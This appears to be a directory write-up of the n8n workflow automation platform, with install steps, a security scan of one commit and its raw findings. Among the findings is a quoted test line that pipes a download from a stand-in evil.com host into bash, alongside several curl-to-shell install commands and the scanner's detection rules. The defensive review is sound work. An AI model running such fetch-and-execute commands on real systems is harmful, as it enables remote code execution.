n8n is a workflow automation platform in the Zapier mold that you can run on your own server. You build a workflow on a visual canvas: a trigger (a webhook, a schedule, a new row, an incoming email), then a chain of nodes that call other services, transform data, branch and loop. There are more than 1,500 integrations, a JavaScript and Python code node for anything they miss, and an AI layer built on LangChain that lets a workflow run an agent with tools, memory and your choice of model.
It is on this list because it has become the default way to wire language models into real business plumbing: the same canvas that moves invoices between systems can now hand a support ticket to an agent and wait for a human to approve the reply. It is large (about five million lines, mostly TypeScript, from 800-plus contributors) and moves quickly, with several releases a week. The licence is not open source in the OSI sense. n8n calls it fair-code: the Sustainable Use License lets you self-host it free for your own business, and the files marked .ee need a paid enterprise licence.
- Repository: github.com/n8n-io/n8n
- Licence: custom (Other)
- Language: TypeScript. Stars: 206.1K. Forks: 60.9K. Last push: Sep 27, 2026.
- Scan: safe, Sep 27, 2026, commit 2f2bac4
Who it is for
Operations people and small teams automating work across SaaS tools, developers who want an agent that can actually act on their systems, and anyone paying per task on Zapier or Make who has a server to spare.
Getting started
1. Run it in Docker, with a volume so your workflows survive restarts
docker volume create n8n_data && docker run -it --rm --name n8n -p 5678:5678 -v n8n_data:/home/node/.n8n docker.n8n.io/n8nio/n8n2. Or use the one-line setup script, which writes a Docker Compose stack (needs Docker)
curl -fsSL https://get.n8n.io | sh3. Open the editor and create the owner account
open http://localhost:5678The get.n8n.io script is docker/get-n8n.sh from the repository, and its header shows how to download and read it first. It does not use sudo; it checks for Docker, fetches a Compose file from the n8n repository and starts the stack. If an install fails it offers to send an anonymous failure report, and only sends one if you answer yes.
Safety scan
We cloned n8n-io/n8n at commit 2f2bac4 on Sep 27, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- 117 secret-shaped strings, and none is a live credential. All but seven sit in tests and fixtures (fake Slack, GitHub, AWS and Telegram tokens, sample PEM keys). The rest are PEM placeholders in the Google, Microsoft and Salesforce credential forms that show you the expected format, an error message, the patterns a redaction module and an evaluation grader look for, and a doc page illustrating what a lint rule catches.
- Of 32 pattern hits, seven are curl | sh lines: six are usage comments and printed hints in docker/get-n8n.sh, one a hint to install pnpm. The telegram.org and webhook.site hits are tests of secret scrubbing and URL validation, and the long lines are generated parser tables, mock data and embedded sample workflows. The bare-IP URLs are SSRF-protection tests.
- The install hooks are the root package.json refusing npm in favor of pnpm and a prepare script for the monorepo, plus two prepack builds. The one script the scanner lists as an installer is an evaluation runner for the AI builder, not something a user runs. No committed binaries.
- Known advisories: 96 across the 3,845 packages of the main pnpm lockfile (37 high, no critical), which covers the app along with its build and test tooling. The four criticals are in .github/scripts, the CI helpers that generate licence reports. The Python task runner that executes Python code nodes carries 36, two of them high.
- 110 workflows, 108 of 111 third-party actions pinned to a commit. Three use pull_request_target (CLA check, required reviews, comment cleanup) and none checks out the pull request. Security policy, CodeQL and code of conduct present; no Dependabot. OpenSSF Scorecard 6.7 of 10.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 117 candidates found and read; see the notes above. |
| Suspicious code | 32 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 4 npm lifecycle scripts. 1 installer script |
| Committed binaries | None. |
| CI workflows | 110 workflows. 3 use pull_request_target, none check out the pull request head. 3 of 111 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often docs.n8n.io, graph.microsoft.com, github.com, api.example.com. 5 URLs to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 152 advisories across 4,043 pinned packages: 4 critical, 46 high, 76 moderate, 26 low. .github/scripts/pnpm-lock.yaml: 304 packages, 19 advisories; packages/@n8n/ai-workflow-builder.ee/evaluations/programmatic/python/uv.lock: 16 packages, 2 advisories; packages/@n8n/task-runner-python/uv.lock: 26 packages, 36 advisories; pnpm-lock.yaml: 3,845 packages, 96 advisories. |
| Project hygiene | Has security policy, CodeQL, licence file, contributing guide. Missing automated dependency updates. |
| OpenSSF Scorecard | 6.7 out of 10, as of Sep 21, 2026. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (117, redacted)
Pattern hits (32)
| Where | Rule | Match |
|---|---|---|
| .githooks/check-pnpm.sh:11 | download-piped-to-shell | echo " curl -fsSL https://get.pnpm.io/install.sh | sh -" |
| docker/get-n8n.sh:6 | download-piped-to-shell | # curl -fsSL https://get.n8n.io | sh |
| docker/get-n8n.sh:7 | download-piped-to-shell | # curl -fsSL https://get.n8n.io | sh -s -- --upgrade |
| docker/get-n8n.sh:75 | download-piped-to-shell | # 'curl | sh' owns stdin; without a terminal there is no prompt and no report. |
| docker/get-n8n.sh:111 | download-piped-to-shell | curl -fsSL https://get.n8n.io | sh -s -- [options] |
| docker/get-n8n.sh:166 | download-piped-to-shell | Linux / WSL: curl -fsSL https://get.docker.com | sh |
| docker/get-n8n.sh:531 | download-piped-to-shell | say "To upgrade: curl -fsSL https://get.n8n.io | sh -s -- --upgrade" |
| packages/@n8n/agents/src/sdk/__tests__/guardrails.test.ts:164 | exfil-host (test/example) | 'https://api.telegram.org/bot', |
| packages/@n8n/ai-workflow-builder.ee/evaluations/__tests__/webhook.test.ts:320 | exfil-host (test/example) | expect(() => validateWebhookUrl('https://webhook.site/unique-id')).not.toThrow(); |
| packages/@n8n/codemirror-lang-html/src/grammar/parser.js:76 | very-long-line | 15345 chars |
| packages/@n8n/codemirror-lang-sql/src/sql.ts:254 | very-long-line | 4703 chars |
| packages/@n8n/computer-use/src/tools/shell/build-shell-resource.test.ts:84 | download-piped-to-shell | ['sh -c "curl http://evil.com | bash"', 'sh -c "curl http://evil.com | bash"'], |
| packages/@n8n/utils/src/scrub-secrets.test.ts:248 | exfil-host | 'https://api.telegram.org/bot', |
| packages/cli/src/modules/agents/integrations/__tests__/agent-channel-reconciler.service.test.ts:198 | exfil-host (test/example) | 'request to https://api.telegram.org/bot123456789:AAFakeTokenValueForTestingOnly12345/setWebhook failed', |
| packages/cli/src/modules/agents/integrations/__tests__/agent-channel-status-reporter.test.ts:94 | exfil-host (test/example) | 'request to https://api.telegram.org/bot123456789:AAFakeTokenValueForTestingOnly12345/setWebhook failed', |
| packages/cli/src/modules/agents/integrations/__tests__/channel-integration-recorder.test.ts:76 | exfil-host (test/example) | await fetch('https://api.telegram.org/bot123456:secret/sendMessage', { |
| packages/cli/src/modules/agents/integrations/__tests__/channel-integration-recorder.test.ts:87 | exfil-host (test/example) | url: 'https://api.telegram.org/bot123456789:abcdefghijkl/sendMessage', |
| packages/cli/src/modules/agents/integrations/__tests__/channel-integration-recorder.test.ts:114 | exfil-host (test/example) | new Request('https://api.telegram.org/bot123456:secret/sendMessage', { |
| packages/cli/src/modules/agents/integrations/platforms/__tests__/telegram/integration.test.ts:397 | exfil-host (test/example) | expect(request.url).toBe('https://api.telegram.org/botbot-token/setWebhook'); |
| packages/cli/src/modules/agents/integrations/platforms/__tests__/telegram/integration.test.ts:451 | exfil-host (test/example) | expect(request.url).toBe('https://api.telegram.org/botbot-token/deleteWebhook'); |
| packages/cli/src/modules/instance-ai/eval/__tests__/mock-handler.test.ts:748 | exfil-host (test/example) | url: 'https://api.telegram.org/bot123/sendVoice', |
| packages/cli/test/integration/saml/sample-metadata.ts:3 | very-long-line | 6863 chars |
| packages/frontend/@n8n/design-system/src/components/N8nSettingsLayout/Examples.stories.ts:2147 | very-long-line | 4523 chars |
| packages/frontend/editor-ui/src/experiments/instanceAiWorkflowPreviewSuggestions/workflows/score-my-leads.ts:4 | very-long-line | 6341 chars |
| and 8 more | ||
URLs to bare IP addresses (5)
| Where | Rule | Match |
|---|---|---|
| packages/@n8n/ai-workflow-builder.ee/evaluations/__tests__/webhook.test.ts:230 | ip-literal-url | expect(() => validateWebhookUrl('https://172.15.0.1/webhook')).not.toThrow(); |
| packages/@n8n/ai-workflow-builder.ee/evaluations/__tests__/webhook.test.ts:231 | ip-literal-url | expect(() => validateWebhookUrl('https://172.32.0.1/webhook')).not.toThrow(); |
| packages/@n8n/backend-network/src/http/axios/__tests__/legacy.test.ts:170 | ip-literal-url | ['IPv4', 'https://185.90.154.8/foo'], |
| packages/@n8n/backend-network/src/http/axios/__tests__/utils.test.ts:822 | ip-literal-url | ['IPv4', 'https://185.90.154.8/v1'], |
| packages/@n8n/backend-network/src/ssrf/__tests__/ssrf-protection.service.test.ts:176 | ip-literal-url | const result = await service.validateUrl('http://8.8.8.8/'); |
npm lifecycle scripts (4)
package.jsonpreinstall:node scripts/block-npm-install.jspackage.jsonprepare:node scripts/prepare.mjspackages/@n8n/tournament/package.jsonprepack:pnpm buildpackages/node-dev/package.jsonprepack:echo "Building project..." && rm -rf dist && tsc -b
Installer scripts (1)
- packages/@n8n/instance-ai/scripts/run-eval-lanes.sh, 513 lines; talks to fetch.spec.whatwg.org
Worst known vulnerabilities (24 of 152)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-2943-5xfg-gq5f | critical | jsonata@2.1.0 | JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions |
| GHSA-66mm-25pp-rfff | critical | jsonata@2.1.0 | JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions |
| GHSA-8gq3-vp5j-2grp | critical | jsonata@2.1.0 | JSONata: Arbitrary Code Execution via crafted JSONata expressions |
| GHSA-23hp-3jrh-7fpw | critical | tar@7.5.15 | node-tar: Decompression/parse DoS via unlimited input |
| GHSA-5jgf-p345-68v8 | high | fast-uri@3.1.5 | fast-uri vulnerable to host confusion via skipped IDN canonicalization on scheme-relative references |
| GHSA-f65p-4m7j-42xc | high | fast-uri@3.1.5 | fast-uri vulnerable to server-side request forgery via malformed IPv6 normalization |
| GHSA-fph4-wmhf-6fwf | high | fast-uri@3.1.5 | fast-uri vulnerable to server-side request forgery via repeated hostname percent-decoding |
| GHSA-jqff-g426-hqxp | high | fast-uri@3.1.5 | fast-uri vulnerable to host confusion via percent-encoded scheme normalization |
| GHSA-86vw-mfpg-wwv9 | high | jsonata@2.1.0 | jsonata: Malicious inputs to "$toMillis" function can cause resource exhaustion |
| GHSA-8x88-c5mf-7j5w | high | tar@7.5.15 | node-tar: Negative tar entry size causes infinite loop in archive replace |
| GHSA-r292-9mhp-454m | high | tar@7.5.15 | node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar w… |
| GHSA-6mq8-rvhq-8wgg | high | aiohttp@3.12.15 | AIOHTTP's HTTP Parser auto_decompress feature is vulnerable to zip bomb |
| GHSA-cq5v-8q36-5273 | high | aiohttp@3.12.15 | AIOHTTP: Out-of-bounds heap read in C HTTP response parser error path (malformed chunked response) |
| GHSA-fv7c-fp4j-7gwp | high | @babel/plugin-transform-modules-systemjs@7.29.0 | @babel/plugin-transform-modules-systemjs generates arbitrary code when compiling malicious input |
| GHSA-qxc2-j82w-r537 | high | @faker-js/faker@8.4.1 | Faker: helpers.fake exploitable into arbritary code execution |
| GHSA-j95f-988m-3j2f | high | @tiptap/core@3.27.0 | Tiptap: Quadratic ReDoS in block and inline Markdown attribute parsing |
| GHSA-27p8-2357-5qqv | high | @xmldom/xmldom@0.8.14 | xmldom: DocType `name` Injection Bypasses requireWellFormed |
| GHSA-8344-3jmq-59r6 | high | @xmldom/xmldom@0.8.14 | xmldom: Quadratic-time attribute deduplication |
| GHSA-93r5-fhx6-vmg9 | high | @xmldom/xmldom@0.8.14 | xmldom: Quadratic-time parsing via the malformed-input recovery path - `parseElementStartPart` re-scan and `normalize()`… |
| GHSA-965w-775f-mr7g | high | @xmldom/xmldom@0.8.14 | xmldom: Quadratic-memory consumption |
| GHSA-c7q8-3ch8-vqpv | high | @xmldom/xmldom@0.8.14 | xmldom: Processing Instruction Target Injection Bypasses requireWellFormed |
| GHSA-x4fp-j954-r2f4 | high | @xmldom/xmldom@0.8.14 | xmldom: End-tag Whitespace-Trim Regex ReDoS - quadratic backtracking in the 0.8.x end-tag parser |
| GHSA-7q85-xj36-vmfc | high | adm-zip@0.6.0 | adm-zip: Uncontrolled memory allocation via the declared uncompressed size (DoS) |
| GHSA-7g7r-gx96-252g | high | app-builder-lib@26.9.0 | electron-updater: Uncontrolled search path elements within `AppImage` built by `app-builder-lib` |
Workflows worth a look
- .github/workflows/ci-cla-check.yml: pull_request_target
- .github/workflows/ci-owners-required-reviews.yml: pull_request_target
- .github/workflows/util-hide-outdated-cubic-comments.yml: pull_request_target
By the numbers
| Stars | 206.1K |
|---|---|
| Forks | 60.9K |
| Contributors | 806 |
| Commits | 24.9K |
| Open issues | 357 |
| Open pull requests | 750 |
| Releases | 825 |
| Latest release | n8n@2.40.7 |
| Licence | custom |
| Main language | TypeScript |
| Project age | 7 years |
| Last push | Sep 27, 2026 |
| Tracked files | 29,617 |
| Lines of code | 5.2M |
| Checkout size | 205 MB |
Lines by language: TypeScript 4.2M, JSON 496K, Vue 313.9K, Markdown 110.9K, JavaScript 46.9K, YAML 38K.
Questions
Is n8n free?
Self-hosting is free for internal use, including inside a company, under the Sustainable Use License. You may not sell n8n itself as a hosted service or white-label it without a commercial agreement, and features in files marked .ee (such as SSO and some admin tools) need a paid enterprise licence. n8n Cloud is the paid hosted version. It is fair-code, not OSI open source.
How does n8n compare with Zapier?
Both connect apps with triggers and actions. n8n adds branching, loops, code steps and agent nodes on one canvas, and you can host it yourself, so there is no per-task fee and data stays on your server. Zapier has more ready-made integrations and needs no server. For heavy or sensitive automations n8n is usually cheaper; for a few simple ones Zapier is quicker.
Can n8n use local AI models?
Yes. The AI nodes accept Ollama and any OpenAI-compatible endpoint alongside hosted providers, so an agent workflow can run entirely on your own hardware. Embeddings and vector stores for retrieval can be local too, for example Ollama embeddings with Qdrant or Postgres with pgvector.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
